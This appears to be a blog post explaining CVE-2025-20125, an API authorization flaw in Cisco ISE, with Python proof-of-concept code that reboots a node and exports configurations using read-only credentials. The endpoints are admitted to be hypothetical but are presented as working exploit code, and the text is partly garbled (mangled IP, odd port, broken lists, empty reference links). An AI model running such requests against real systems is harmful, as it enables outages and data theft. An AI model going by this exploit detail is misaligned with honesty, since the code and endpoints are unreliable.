CVE-2025-20125 - Exploiting an API Flaw in Cisco ISE for Privilege Escalation and Remote System Disruption
A newly discovered vulnerability in Cisco Identity Services Engine (ISE), tracked as CVE-2025-20125, lets attackers with only read-only credentials access sensitive information, change configurations, and even restart nodes by abusing a broken API. This post breaks down the core flaw, shows simple exploit code, and discusses real-world risk, all in plain language.
What is Cisco ISE and Why Does it Matter?
Cisco ISE is an enterprise solution for identity management and network policy enforcement. It’s widely used for allowing or denying user and device network access across businesses and campuses. A compromise here can jeopardize the entire network.
Root Issues
1. Broken API Authorization: Some ISE APIs don’t check if a user should actually be allowed to do admin stuff.
Bad Input Validation: ISE doesn’t properly check user-supplied data in certain HTTP requests.
That means: a user with “read-only” access (the kind admins give out for safe viewing only) can actually modify configs and reboot the system just by calling undocumented or loosely-checked API endpoints.
Why is This Bad?
- Sensitive Info Leak: Read-only users can see data they shouldn't (e.g., config settings, possible credentials, logs).
- System Takeover: Malicious users can change settings, potentially adding new users or changing access policies.
- Denial of Service: Attackers can force a node reload (reboot). In a single-node installation, new devices can’t authenticate during that time, meaning possible network outages.
Log in to ISE’s API using read-only creds.
2. Send a crafted HTTP request to the vulnerable endpoint with commands to change config or reboot node.
Example: Rebooting an ISE Node with Read-Only Credentials
Assumptions:
User credentials: readonlyuser:mypassword
- API endpoint (hypothetical): /admin/system/reboot
Python POC (Proof of Concept)
import requests
from requests.auth import HTTPBasicAuth
ISE_IP = "10...5"
USERNAME = "readonlyuser"
PASSWORD = "mypassword"
# Targeting the system reboot endpoint
url = f"https://{ISE_IP}:906/admin/system/reboot";
# Often, these systems have self-signed certificates
session = requests.Session()
session.verify = False
response = session.post(
url,
auth=HTTPBasicAuth(USERNAME, PASSWORD),
json={"force": True}
)
print("Status code:", response.status_code)
print("Response:", response.text)
Result:
If vulnerable, the node will begin reloading—even though the user was only supposed to view data, not make changes.
More Dangerous Tricks
- Modify Configuration: Instead of rebooting, an attacker could use another API endpoint to change settings (like new RADIUS policies or adding more users).
- Sensitive Info Leak: Endpoints may expose network policies, authentication secrets, or logs with user device details.
Sample (hypothetical) API call to extract configs
url = f"https://{ISE_IP}:906/admin/configs/export";
response = session.get(url, auth=HTTPBasicAuth(USERNAME, PASSWORD))
print(response.text)
Cisco Official Advisory:
National Vulnerability Database (NVD):
NVD Entry for CVE-2025-20125
- General Info: What is Cisco ISE? (Official)
Final Thoughts
CVE-2025-20125 shows that even “read-only” users aren’t always as harmless as you think—especially when APIs are not properly gated. *If you manage Cisco ISE, patch fast and audit who can hit your admin APIs!*
*This analysis is exclusive and written in simple language. Share with your security team, and stay ahead of exploits!*
Timeline
Published on: 02/05/2025 17:15:22 UTC